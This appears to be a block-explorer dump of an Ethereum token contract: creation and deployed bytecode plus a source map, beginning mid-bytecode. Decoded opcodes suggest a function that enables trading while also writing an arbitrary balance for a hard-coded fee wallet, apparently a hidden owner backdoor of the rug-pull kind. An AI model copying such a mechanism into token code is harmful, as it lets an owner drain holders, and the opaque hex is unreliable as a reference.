091169063f305d71990839060c40160606040518083038185885af11580156115d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115f691906118ec565b5050505050565b600060208083528351808285015260005b8181101561162a5785810183015185820160400152820161160e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461166057600080fd5b50565b6000806040838503121561167657600080fd5b82356116818161164b565b946020939093013593505050565b6000806000606084860312156116a457600080fd5b83356116af8161164b565b925060208401356116bf8161164b565b929592945050506040919091013590565b6000602082840312156116e257600080fd5b813561056e8161164b565b60008060006060848603121561170257600080fd5b505081359360208301359350604090920135919050565b6000806040838503121561172c57600080fd5b82356117378161164b565b91506020830135801515811461174c57600080fd5b809150509250929050565b60006020828403121561176957600080fd5b5035919050565b6000806040838503121561178357600080fd5b823561178e8161164b565b9150602083013561174c8161164b565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176104db576104db61179e565b6000826117e857634e487b7160e01b600052601260045260246000fd5b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b818103818111156104db576104db61179e565b808201808211156104db576104db61179e565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561187057600080fd5b815161056e8161164b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118cb5784516001600160a01b0316835293830193918301916001016118a6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561190157600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1e064b40b8a4c6fd279cd296d7da162ee3c17815444a7138134c82a634b58f264736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab5780638da5cb5b1161006f5780638da5cb5b146103e25780639358928b1461040057806395d89b4114610415578063a8aa1b3114610444578063a9059cbb14610464578063dd62ed3e1461048457600080fd5b806370a082311461033b578063715018a61461037157806378109e54146103865780637d1db4a51461039b578063893d20e8146103b057600080fd5b80632f54bf6e116100fd5780632f54bf6e1461020f578063313ce5671461023e57806334c5d2ce1461025a5780633f4218e01461027c57806348ff2b8b146102ac5780634d97dcbc146102cc57600080fd5b806306fdde0314610145578063095ea7b31461018b57806318160ddd146101bb5780631f976b7e146101da57806323b872dd146101ef57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600b81526a2222a3a2a72120a626102d60a91b60208201525b60405161018291906115fd565b60405180910390f35b34801561019757600080fd5b506101ab6101a6366004611663565b6104ca565b6040519015158152602001610182565b3480156101c757600080fd5b506001545b604051908152602001610182565b3480156101e657600080fd5b506101cc6104e1565b3480156101fb57600080fd5b506101ab61020a36600461168f565b61050b565b34801561021b57600080fd5b506101ab61022a3660046116d0565b6000546001600160a01b0391821691161490565b34801561024a57600080fd5b5060405160098152602001610182565b34801561026657600080fd5b5061027a6102753660046116ed565b610575565b005b34801561028857600080fd5b506101ab6102973660046116d0565b60076020526000908152604090205460ff1681565b3480156102b857600080fd5b5061027a6102c7366004611719565b6106ce565b3480156102d857600080fd5b5061027a6102e7366004611757565b600a805460ff60a01b1916600160a01b1790557367020588c1f2e6edcfd7680536e5bafa8549e2db60005260056020527f74a7cefcd4745b98895b3e3380b36ce8818cd23498b04bc969a775bb754fa42955565b34801561034757600080fd5b506101cc6103563660046116d0565b6001600160a01b031660009081526005602052604090205490565b34801561037d57600080fd5b5061027a610723565b34801561039257600080fd5b506101cc610759565b3480156103a757600080fd5b506101cc61076a565b3480156103bc57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610182565b3480156103ee57600080fd5b506000546001600160a01b03166103ca565b34801561040c57600080fd5b506101cc61077b565b34801561042157600080fd5b50604080518082019091526006815265122223a1262d60d11b6020820152610175565b34801561045057600080fd5b50600a546103ca906001600160a01b031681565b34801561047057600080fd5b506101ab61047f366004611663565b6107e7565b34801561049057600080fd5b506101cc61049f366004611770565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006104d73384846107f4565b5060015b92915050565b60006012546003546104f260015490565b6104fc91906117b4565b61050691906117cb565b905090565b6000610518848484610918565b61056a84336105658560405180606001604052806028815260200161191b602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610a3e565b6107f4565b5060015b9392505050565b6000546001600160a01b031633146105a85760405162461bcd60e51b815260040161059f906117ed565b60405180910390fd5b60006064846105b660015490565b6105c091906117b4565b6105ca91906117cb565b905060006064846105da60015490565b6105e491906117b4565b6105ee91906117cb565b905060006064846105fe60015490565b61060891906117b4565b61061291906117cb565b60028790556003869055600485905590506000610644600a61063e600561063860015490565b90610a6a565b90610a76565b90508084101580156106565750808310155b80156106625750808210155b6106c55760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161059f565b50505050505050565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161059f906117ed565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161059f906117ed565b6107576000610a82565b565b60006012546004546104f260015490565b60006012546002546104f260015490565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460015491926105069290916107e19190610ad2565b90610ad2565b60006104d7338484610918565b6001600160a01b0383166108565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059f565b6001600160a01b0382166108b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059f565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610923838383610ade565b61092d8383610c8d565b610938838383610d22565b6109428383610e13565b61094d838383610e6a565b610958838383610fa1565b6001600160a01b03831660009081526005602052604090205461097b9082610ad2565b6001600160a01b0384166000908152600560205260408120919091556109a18484610fc6565b6109ab57816109b6565b6109b684848461100c565b6001600160a01b0384166000908152600560205260409020549091506109dc90826110fa565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a309085815260200190565b60405180910390a350505050565b60008184841115610a625760405162461bcd60e51b815260040161059f91906115fd565b505050900390565b600061056e82846117b4565b600061056e82846117cb565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600061056e8284611822565b6001600160a01b038316610b425760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059f565b6001600160a01b038216610ba45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059f565b60008111610c065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059f565b6001600160a01b038316600090815260056020526040902054811115610c885760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161059f565b505050565b6001600160a01b03821660009081526007602052604090205460ff16158015610ccf57506001600160a01b03811660009081526007602052604090205460ff16155b15610d1e57600a54600160a01b900460ff16610d1e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161059f565b5050565b6001600160a01b03831660009081526007602052604090205460ff16158015610d6457506001600160a01b03821660009081526007602052604090205460ff16155b8015610d7e5750600a546001600160a01b03838116911614155b8015610d9557506001600160a01b03821661dead14155b15610c8857610da2610759565b6001600160a01b038316600090815260056020526040902054610dc590836110fa565b1115610c885760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161059f565b600a546001600160a01b038281169116148015610e4957506001600160a01b03821660009081526007602052604090205460ff16155b15610d1e57600160146000828254610e619190611835565b90915550505050565b600a546001600160a01b03848116911614610f1057610e876104e1565b81111580610ead57506001600160a01b03831660009081526007602052604090205460ff165b80610ed057506001600160a01b03821660009081526007602052604090205460ff165b610f105760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059f565b610f1861076a565b81111580610f3e57506001600160a01b03831660009081526007602052604090205460ff165b80610f6157506001600160a01b03821660009081526007602052604090205460ff165b610c885760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161059f565b610fac838383611106565b15610c8857610fbc6016546111b3565b6000601455505050565b6001600160a01b03821660009081526007602052604081205460ff1615801561056e5750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611019858561133e565b11156110f357600061103c61102e868661133e565b601254610638908690610a76565b3060009081526005602052604090205490915061105990826110fa565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110aa9085815260200190565b60405180910390a3600e54156110e1576110e13061dead6110dc600e5461063860125489610a7690919063ffffffff16565b610918565b6110eb8382610ad2565b91505061056e565b5092915050565b600061056e8284611835565b6017546016543060009081526005602052604081205460155491938510159211159060ff1615801561113a575060135460ff165b801561114f5750600a54600160a01b900460ff165b80156111585750815b801561117d57506001600160a01b03861660009081526007602052604090205460ff16155b80156111965750600a546001600160a01b038681169116145b80156111a0575060015b80156111a95750805b9695505050505050565b6015805460ff19166001908117909155600d54600c54600b546000936111ed936002936106389391926111e79283916110fa565b906110fa565b9050600061120a8261063e600b5486610a6a90919063ffffffff16565b905060006112188483610ad2565b905047611224826113df565b60006112304783610ad2565b9050600061125361124c600b5488610ad290919063ffffffff16565b8390610a76565b9050600061126c600b5483610a6a90919063ffffffff16565b9050801561127e5761127e8682611539565b600c5460009061129390610638856002610a6a565b905080156112de576040517367020588c1f2e6edcfd7680536e5bafa8549e2db9082156108fc029083906000818181858888f193505050501580156112dc573d6000803e3d6000fd5b505b478015611328576040517367020588c1f2e6edcfd7680536e5bafa8549e2db9082156108fc029083906000818181858888f19350505050158015611326573d6000803e3d6000fd5b505b50506015805460ff191690555050505050505050565b6001600160a01b03821660009081526008602052604081205460ff168061137d57506001600160a01b03821660009081526008602052604090205460ff165b15611397576012546113909060646117b4565b90506104db565b600a546001600160a01b03908116908316036113b657506010546104db565b600a546001600160a01b03908116908416036113d55750600f546104db565b5060115492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061141457611414611848565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611491919061185e565b816001815181106114a4576114a4611848565b6001600160a01b0392831660209182029290920101526009546114ca91309116846107f4565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150390859060009086903090429060040161187b565b600060405180830381600087803b15801561151d57600080fd5b505af1158015611531573d6000803e3d6000fd5b505050505050565b6009546115519030906001600160a01b0316846107f4565b60095460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201527367020588c1f2e6edcfd7680536e5bafa8549e2db60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156115d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115f691906118ec565b5050505050565b600060208083528351808285015260005b8181101561162a5785810183015185820160400152820161160e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461166057600080fd5b50565b6000806040838503121561167657600080fd5b82356116818161164b565b946020939093013593505050565b6000806000606084860312156116a457600080fd5b83356116af8161164b565b925060208401356116bf8161164b565b929592945050506040919091013590565b6000602082840312156116e257600080fd5b813561056e8161164b565b60008060006060848603121561170257600080fd5b505081359360208301359350604090920135919050565b6000806040838503121561172c57600080fd5b82356117378161164b565b91506020830135801515811461174c57600080fd5b809150509250929050565b60006020828403121561176957600080fd5b5035919050565b6000806040838503121561178357600080fd5b823561178e8161164b565b9150602083013561174c8161164b565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176104db576104db61179e565b6000826117e857634e487b7160e01b600052601260045260246000fd5b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b818103818111156104db576104db61179e565b808201808211156104db576104db61179e565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561187057600080fd5b815161056e8161164b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118cb5784516001600160a01b0316835293830193918301916001016118a6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561190157600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1e064b40b8a4c6fd279cd296d7da162ee3c17815444a7138134c82a634b58f264736f6c63430008130033

Deployed Bytecode Sourcemap

5528:11092:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7859:67;;;;;;;;;;-1:-1:-1;7919:5:0;;;;;;;;;;;;-1:-1:-1;;;7919:5:0;;;;7859:67;;;;;;;:::i;:::-;;;;;;;;9009:133;;;;;;;;;;-1:-1:-1;9009:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9009:133:0;1023:187:1;8283:84:0;;;;;;;;;;-1:-1:-1;8353:12:0;;8283:84;;;1361:25:1;;;1349:2;1334:18;8283:84:0;1215:177:1;9531:119:0;;;;;;;;;;;;;:::i;15965:309::-;;;;;;;;;;-1:-1:-1;15965:309:0;;;;;:::i;:::-;;:::i;3692:106::-;;;;;;;;;;-1:-1:-1;3692:106:0;;;;;:::i;:::-;3747:4;3784:6;-1:-1:-1;;;;;3773:17:0;;;3784:6;;3773:17;;3692:106;8009:67;;;;;;;;;;-1:-1:-1;8009:67:0;;5753:1;2252:36:1;;2240:2;2225:18;8009:67:0;2110:184:1;10803:576:0;;;;;;;;;;-1:-1:-1;10803:576:0;;;;;:::i;:::-;;:::i;:::-;;6086:44;;;;;;;;;;-1:-1:-1;6086:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8895:108;;;;;;;;;;-1:-1:-1;8895:108:0;;;;;:::i;:::-;;:::i;8082:109::-;;;;;;;;;;-1:-1:-1;8082:109:0;;;;;:::i;:::-;8128:14;:21;;-1:-1:-1;;;;8128:21:0;-1:-1:-1;;;8128:21:0;;;7019:42;8128:21;8150:32;:10;:32;;;:39;8082:109;8373:104;;;;;;;;;;-1:-1:-1;8373:104:0;;;;;:::i;:::-;-1:-1:-1;;;;;8456:19:0;8439:7;8456:19;;;:10;:19;;;;;;;8373:104;3806:103;;;;;;;;;;;;;:::i;9292:114::-;;;;;;;;;;;;;:::i;9412:113::-;;;;;;;;;;;;;:::i;8197:80::-;;;;;;;;;;-1:-1:-1;8249:7:0;3542:6;-1:-1:-1;;;;;3542:6:0;8197:80;;;-1:-1:-1;;;;;3390:32:1;;;3372:51;;3360:2;3345:18;8197:80:0;3226:203:1;3469:87:0;;;;;;;;;;-1:-1:-1;3515:7:0;3542:6;-1:-1:-1;;;;;3542:6:0;3469:87;;9148:138;;;;;;;;;;;;;:::i;7932:71::-;;;;;;;;;;-1:-1:-1;7994:7:0;;;;;;;;;;;;-1:-1:-1;;;7994:7:0;;;;7932:71;;6204:19;;;;;;;;;;-1:-1:-1;6204:19:0;;;;-1:-1:-1;;;;;6204:19:0;;;8483:139;;;;;;;;;;-1:-1:-1;8483:139:0;;;;;:::i;:::-;;:::i;8628:127::-;;;;;;;;;;-1:-1:-1;8628:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8726:18:0;;;8709:7;8726:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8628:127;9009:133;9084:4;9091:37;9100:10;9112:7;9121:6;9091:8;:37::i;:::-;-1:-1:-1;9136:4:0;9009:133;;;;;:::o;9531:119::-;9582:7;9637:11;;9615:19;;9599:13;8353:12;;;8283:84;9599:13;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9592:56;;9531:119;:::o;15965:309::-;16063:4;16080:36;16090:6;16098:9;16109:6;16080:9;:36::i;:::-;16127:117;16136:6;16144:10;16156:87;16192:6;16156:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16156:19:0;;;;;;:11;:19;;;;;;;;16176:10;16156:31;;;;;;;;;:87;:35;:87::i;:::-;16127:8;:117::i;:::-;-1:-1:-1;16262:4:0;15965:309;;;;;;:::o;10803:576::-;3515:7;3542:6;-1:-1:-1;;;;;3542:6:0;289:10;3604:23;3596:68;;;;-1:-1:-1;;;3596:68:0;;;;;;;:::i;:::-;;;;;;;;;10903:13:::1;10944:3;10936:4;10920:13;8353:12:::0;;;8283:84;10920:13:::1;:20;;;;:::i;:::-;10919:28;;;;:::i;:::-;10903:44;;10958:19;11007:3;10997:6;10981:13;8353:12:::0;;;8283:84;10981:13:::1;:22;;;;:::i;:::-;10980:30;;;;:::i;:::-;10958:52;;11021:17;11069:3;11058:7;11042:13;8353:12:::0;;;8283:84;11042:13:::1;:23;;;;:::i;:::-;11041:31;;;;:::i;:::-;11083:19;:26:::0;;;11120:19:::1;:28:::0;;;11159:17:::1;:27:::0;;;11021:51;-1:-1:-1;;11213:28:0::1;11238:2;11213:20;11231:1;11213:13;8353:12:::0;;;8283:84;11213:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:28::i;:::-;11197:44;;11269:5;11260;:14;;:38;;;;;11293:5;11278:11;:20;;11260:38;:60;;;;;11315:5;11302:9;:18;;11260:60;11252:119;;;::::0;-1:-1:-1;;;11252:119:0;;4917:2:1;11252:119:0::1;::::0;::::1;4899:21:1::0;4956:2;4936:18;;;4929:30;4995:34;4975:18;;;4968:62;-1:-1:-1;;;5046:18:1;;;5039:44;5100:19;;11252:119:0::1;4715:410:1::0;11252:119:0::1;10892:487;;;;10803:576:::0;;;:::o;8895:108::-;3515:7;3542:6;-1:-1:-1;;;;;3542:6:0;289:10;3604:23;3596:68;;;;-1:-1:-1;;;3596:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8969:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8969:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8895:108::o;3806:103::-;3515:7;3542:6;-1:-1:-1;;;;;3542:6:0;289:10;3604:23;3596:68;;;;-1:-1:-1;;;3596:68:0;;;;;;;:::i;:::-;3871:30:::1;3898:1;3871:18;:30::i;:::-;3806:103::o:0;9292:114::-;9340:7;9393:11;;9373:17;;9357:13;8353:12;;;8283:84;9412:113;9457:7;9512:11;;9490:19;;9474:13;8353:12;;;8283:84;9148:138;8456:10;:19;;;;6921:42;9207:7;8456:19;;;;;9224:12;;9207:7;;9224:60;;8456:19;;9224:33;;:12;:16;:33::i;:::-;:37;;:60::i;8483:139::-;8561:4;8568:40;8578:10;8590:9;8601:6;8568:9;:40::i;16282:335::-;-1:-1:-1;;;;;16375:19:0;;16367:68;;;;-1:-1:-1;;;16367:68:0;;5332:2:1;16367:68:0;;;5314:21:1;5371:2;5351:18;;;5344:30;5410:34;5390:18;;;5383:62;-1:-1:-1;;;5461:18:1;;;5454:34;5505:19;;16367:68:0;5130:400:1;16367:68:0;-1:-1:-1;;;;;16454:21:0;;16446:68;;;;-1:-1:-1;;;16446:68:0;;5737:2:1;16446:68:0;;;5719:21:1;5776:2;5756:18;;;5749:30;5815:34;5795:18;;;5788:62;-1:-1:-1;;;5866:18:1;;;5859:32;5908:19;;16446:68:0;5535:398:1;16446:68:0;-1:-1:-1;;;;;16525:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16577:32;;1361:25:1;;;16577:32:0;;1334:18:1;16577:32:0;;;;;;;16282:335;;;:::o;10105:690::-;10194:37;10205:6;10213:9;10224:6;10194:10;:37::i;:::-;10242:38;10262:6;10270:9;10242:19;:38::i;:::-;10291:41;10306:6;10314:9;10325:6;10291:14;:41::i;:::-;10344:35;10361:6;10369:9;10344:16;:35::i;:::-;10390:39;10403:6;10411:9;10422:6;10390:12;:39::i;:::-;10441:35;10450:6;10458:9;10469:6;10441:8;:35::i;:::-;-1:-1:-1;;;;;10508:18:0;;;;;;:10;:18;;;;;;:30;;10531:6;10508:22;:30::i;:::-;-1:-1:-1;;;;;10487:18:0;;;;;;:10;:18;;;;;:51;;;;10574:32;10498:6;10596:9;10574:13;:32::i;:::-;:78;;10646:6;10574:78;;;10609:34;10617:6;10625:9;10636:6;10609:7;:34::i;:::-;-1:-1:-1;;;;;10687:21:0;;;;;;:10;:21;;;;;;10549:103;;-1:-1:-1;10687:41:0;;10549:103;10687:25;:41::i;:::-;-1:-1:-1;;;;;10663:21:0;;;;;;;:10;:21;;;;;;;:65;;;;10744:43;;;;;;;;;;10772:14;1361:25:1;;1349:2;1334:18;;1215:177;10744:43:0;;;;;;;;10183:612;10105:690;;;:::o;1748:162::-;1834:7;1880:12;1872:6;;;;1864:29;;;;-1:-1:-1;;;1864:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1902:5:0;;;1748:162::o;623:82::-;681:7;698:5;702:1;698;:5;:::i;711:82::-;769:7;786:5;790:1;786;:5;:::i;3917:191::-;3991:16;4010:6;;-1:-1:-1;;;;;4027:17:0;;;-1:-1:-1;;;;;;4027:17:0;;;;;;4060:40;;4010:6;;;;;;;4060:40;;3991:16;4060:40;3980:128;3917:191;:::o;535:82::-;593:7;610:5;614:1;610;:5;:::i;9658:439::-;-1:-1:-1;;;;;9762:20:0;;9754:70;;;;-1:-1:-1;;;9754:70:0;;6273:2:1;9754:70:0;;;6255:21:1;6312:2;6292:18;;;6285:30;6351:34;6331:18;;;6324:62;-1:-1:-1;;;6402:18:1;;;6395:35;6447:19;;9754:70:0;6071:401:1;9754:70:0;-1:-1:-1;;;;;9843:23:0;;9835:71;;;;-1:-1:-1;;;9835:71:0;;6679:2:1;9835:71:0;;;6661:21:1;6718:2;6698:18;;;6691:30;6757:34;6737:18;;;6730:62;-1:-1:-1;;;6808:18:1;;;6801:33;6851:19;;9835:71:0;6477:399:1;9835:71:0;9942:1;9925:6;:19;9917:73;;;;-1:-1:-1;;;9917:73:0;;7083:2:1;9917:73:0;;;7065:21:1;7122:2;7102:18;;;7095:30;7161:34;7141:18;;;7134:62;-1:-1:-1;;;7212:18:1;;;7205:39;7261:19;;9917:73:0;6881:405:1;9917:73:0;-1:-1:-1;;;;;8456:19:0;;8439:7;8456:19;;;:10;:19;;;;;;10009:6;:27;;10001:88;;;;-1:-1:-1;;;10001:88:0;;7493:2:1;10001:88:0;;;7475:21:1;7532:2;7512:18;;;7505:30;7571:34;7551:18;;;7544:62;-1:-1:-1;;;7622:18:1;;;7615:47;7679:19;;10001:88:0;7291:413:1;10001:88:0;9658:439;;;:::o;11387:191::-;-1:-1:-1;;;;;11480:19:0;;;;;;:11;:19;;;;;;;;11479:20;:47;;;;-1:-1:-1;;;;;;11504:22:0;;;;;;:11;:22;;;;;;;;11503:23;11479:47;11476:95;;;11536:14;;-1:-1:-1;;;11536:14:0;;;;11528:41;;;;-1:-1:-1;;;11528:41:0;;7911:2:1;11528:41:0;;;7893:21:1;7950:2;7930:18;;;7923:30;-1:-1:-1;;;7969:18:1;;;7962:44;8023:18;;11528:41:0;7709:338:1;11528:41:0;11387:191;;:::o;11590:334::-;-1:-1:-1;;;;;11694:19:0;;;;;;:11;:19;;;;;;;;11693:20;:47;;;;-1:-1:-1;;;;;;11718:22:0;;;;;;:11;:22;;;;;;;;11717:23;11693:47;:77;;;;-1:-1:-1;11765:4:0;;-1:-1:-1;;;;;11744:26:0;;;11765:4;;11744:26;;11693:77;:107;;;;-1:-1:-1;;;;;;11774:26:0;;6921:42;11774:26;;11693:107;11690:227;;;11863:17;:15;:17::i;:::-;-1:-1:-1;;;;;11825:21:0;;;;;;:10;:21;;;;;;:33;;11851:6;11825:25;:33::i;:::-;11824:56;;11816:99;;;;-1:-1:-1;;;11816:99:0;;8254:2:1;11816:99:0;;;8236:21:1;8293:2;8273:18;;;8266:30;8332:32;8312:18;;;8305:60;8382:18;;11816:99:0;8052:354:1;11932:159:0;12029:4;;-1:-1:-1;;;;;12016:17:0;;;12029:4;;12016:17;:41;;;;-1:-1:-1;;;;;;12038:19:0;;;;;;:11;:19;;;;;;;;12037:20;12016:41;12013:71;;;12080:1;12059:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;11932:159:0;;:::o;12099:349::-;12210:4;;-1:-1:-1;;;;;12200:14:0;;;12210:4;;12200:14;12197:130;;12234:20;:18;:20::i;:::-;12224:6;:30;;:53;;;-1:-1:-1;;;;;;12258:19:0;;;;;;:11;:19;;;;;;;;12224:53;:79;;;-1:-1:-1;;;;;;12281:22:0;;;;;;:11;:22;;;;;;;;12224:79;12216:109;;;;-1:-1:-1;;;12216:109:0;;8743:2:1;12216:109:0;;;8725:21:1;8782:2;8762:18;;;8755:30;-1:-1:-1;;;8801:18:1;;;8794:47;8858:18;;12216:109:0;8541:341:1;12216:109:0;12355:14;:12;:14::i;:::-;12345:6;:24;;:47;;;-1:-1:-1;;;;;;12373:19:0;;;;;;:11;:19;;;;;;;;12345:47;:73;;;-1:-1:-1;;;;;;12396:22:0;;;;;;:11;:22;;;;;;;;12345:73;12337:103;;;;-1:-1:-1;;;12337:103:0;;8743:2:1;12337:103:0;;;8725:21:1;8782:2;8762:18;;;8755:30;-1:-1:-1;;;8801:18:1;;;8794:47;8858:18;;12337:103:0;8541:341:1;14736:197:0;14828:41;14843:6;14851:9;14862:6;14828:14;:41::i;:::-;14825:101;;;14871:29;14886:13;;14871:14;:29::i;:::-;14922:1;14902:9;:22;14736:197;;;:::o;14941:160::-;-1:-1:-1;;;;;15047:19:0;;15022:4;15047:19;;;:11;:19;;;;;;;;15046:20;:47;;;;-1:-1:-1;;;;;;;15071:22:0;;;;;:11;:22;;;;;;;;15070:23;;14941:160;-1:-1:-1;14941:160:0:o;15409:548::-;15495:7;15551:1;15518:30;15530:6;15538:9;15518:11;:30::i;:::-;:34;15515:420;;;15564:17;15584:59;15612:30;15624:6;15632:9;15612:11;:30::i;:::-;15595:11;;15584:23;;:6;;:10;:23::i;:59::-;15701:4;15682:25;;;;:10;:25;;;;;;15564:79;;-1:-1:-1;15682:40:0;;15564:79;15682:29;:40::i;:::-;15673:4;15654:25;;;;:10;:25;;;;;;;:68;;;;15738:42;;-1:-1:-1;;;;;15738:42:0;;;;;;;15770:9;1361:25:1;;1349:2;1334:18;;1215:177;15738:42:0;;;;;;;;15794:7;;:20;15791:104;;15816:77;15834:4;6921:42;15856:36;15884:7;;15856:23;15867:11;;15856:6;:10;;:23;;;;:::i;:36::-;15816:9;:77::i;:::-;15912:21;:6;15923:9;15912:10;:21::i;:::-;15905:28;;;;;15515:420;-1:-1:-1;15943:6:0;15409:548;-1:-1:-1;;15409:548:0:o;447:82::-;505:7;522:5;526:1;522;:5;:::i;14323:405::-;14464:20;;14545:13;;14535:4;14421;8456:19;;;:10;:19;;;;;;14577:8;;14421:4;;14454:30;;;;-1:-1:-1;14517:41:0;;14577:8;;14576:9;:24;;;;-1:-1:-1;14589:11:0;;;;14576:24;:42;;;;-1:-1:-1;14604:14:0;;-1:-1:-1;;;14604:14:0;;;;14576:42;:54;;;;;14622:8;14576:54;:78;;;;-1:-1:-1;;;;;;14635:19:0;;;;;;:11;:19;;;;;;;;14634:20;14576:78;:99;;;;-1:-1:-1;14671:4:0;;-1:-1:-1;;;;;14658:17:0;;;14671:4;;14658:17;14576:99;:126;;;;-1:-1:-1;14679:23:0;14576:126;:144;;;;;14706:14;14576:144;14569:151;14323:405;-1:-1:-1;;;;;;14323:405:0:o;12456:1066::-;6842:8;:15;;-1:-1:-1;;6842:15:0;6853:4;6842:15;;;;;;12593:14:::1;::::0;12575:12:::1;::::0;12551::::1;::::0;6842:8;;12550:66:::1;::::0;12614:1:::1;::::0;12551:57:::1;::::0;12593:14;;12551:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;12550:66::-;12527:89;;12627:32;12662:42;12691:12;12662:24;12673:12;;12662:6;:10;;:24;;;;:::i;:42::-;12627:77:::0;-1:-1:-1;12715:14:0::1;12732:36;:6:::0;12627:77;12732:10:::1;:36::i;:::-;12715:53:::0;-1:-1:-1;12804:21:0::1;12836:24;12715:53:::0;12836:16:::1;:24::i;:::-;12871:20;12894:41;:21;12920:14:::0;12894:25:::1;:41::i;:::-;12871:64;;12946:19;12967:48;12984:30;13001:12;;12984;:16;;:30;;;;:::i;:::-;12967:12:::0;;:16:::1;:48::i;:::-;12946:69;;13026:29;13058;13074:12;;13058:11;:15;;:29;;;;:::i;:::-;13026:61:::0;-1:-1:-1;13101:34:0;;13098:103:::1;;13137:61;13150:24;13176:21;13137:12;:61::i;:::-;13257:12;::::0;13211:20:::1;::::0;13234:36:::1;::::0;:18:::1;:11:::0;13250:1:::1;13234:15;:18::i;:36::-;13211:59:::0;-1:-1:-1;13284:16:0;;13281:73:::1;;13302:50;::::0;7116:42:::1;::::0;13302:50;::::1;;;: